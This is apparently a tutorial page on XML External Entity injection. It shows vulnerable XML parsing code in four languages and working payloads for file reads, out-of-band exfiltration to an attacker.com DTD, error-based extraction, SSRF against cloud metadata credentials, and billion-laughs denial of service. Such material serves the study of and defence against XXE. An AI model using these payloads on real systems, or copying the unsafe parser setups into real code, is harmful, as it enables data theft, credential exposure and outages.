Back to Attack Flows

Table of Contents

What is XXE?

XML External Entity (XXE) injection is a web security vulnerability that allows an attacker to interfere with an application's processing of XML data. It often allows attackers to view files on the application server filesystem, interact with backend systems, and potentially perform Server-Side Request Forgery (SSRF) attacks.

Why is XXE Critical?

XXE vulnerabilities are dangerous because they:

Attack Capabilities

Successful XXE exploitation allows attackers to:

How XXE Works

Attack Flow

XXE attacks typically follow this pattern:

  1. XML Input Discovery: Identify endpoints accepting XML input
  2. DTD Testing: Test if DTD (Document Type Definition) processing is enabled
  3. Entity Injection: Inject malicious external entities
  4. Data Extraction: Retrieve data through in-band or out-of-band methods
  5. Exploitation: Escalate to SSRF, DoS, or RCE

Understanding XML External Entities

<!-- Basic XML Structure -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
  <!ENTITY entityName "entityValue">
]>
<root>
  <data>&entityName;</data>
</root>

<!-- External Entity Definition -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
  <data>&xxe;</data>
</root>

Vulnerable Code Examples

PHP - Unsafe XML Parsing

<?php
// VULNERABLE: libxml_disable_entity_loader(false) enables XXE
libxml_disable_entity_loader(false);
$xml = simplexml_load_string($_POST['xml']);
echo $xml->data;

// Attack payload:
/*
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root><data>&xxe;</data></root>
*/
?>

Java - Unsafe DocumentBuilder

// VULNERABLE: No protection against XXE
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(new InputSource(new StringReader(xmlInput)));

// Attack allows file reading and SSRF

Python - Unsafe XML Parsing

import xml.etree.ElementTree as ET

# VULNERABLE: Default parser allows XXE
def parse_xml(xml_string):
    root = ET.fromstring(xml_string)
    return root.find('data').text

# Attack payload can read files

.NET - Unsafe XmlReader

// VULNERABLE: DtdProcessing enabled
XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Parse;
XmlReader reader = XmlReader.Create(xmlStream, settings);

// Allows XXE attacks

Types of XXE Attacks

1. Classic XXE (In-Band)

Direct retrieval of file contents in the application response.

<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
  <data>&xxe;</data>
</root>

<!-- Reading PHP source code -->
<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]>
<root>
  <data>&xxe;</data>
</root>

2. Blind XXE (Out-of-Band)

Data exfiltration through DNS or HTTP when direct output is not possible.

<!-- DNS Exfiltration -->
<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
  %dtd;
]>
<root><data>test</data></root>

<!-- evil.dtd on attacker server -->
<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/?data=%file;'>">
%all;

3. Error-Based XXE

Extracting data through error messages.

<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % dtd SYSTEM "http://attacker.com/error.dtd">
  %dtd;
]>
<root></root>

<!-- error.dtd -->
<!ENTITY % all "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%all;
%error;

4. SSRF via XXE

<!-- Internal port scanning -->
<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "http://localhost:22">
]>
<root><data>&xxe;</data></root>

<!-- Cloud metadata access -->
<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<root><data>&xxe;</data></root>

5. Billion Laughs Attack (DoS)

<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>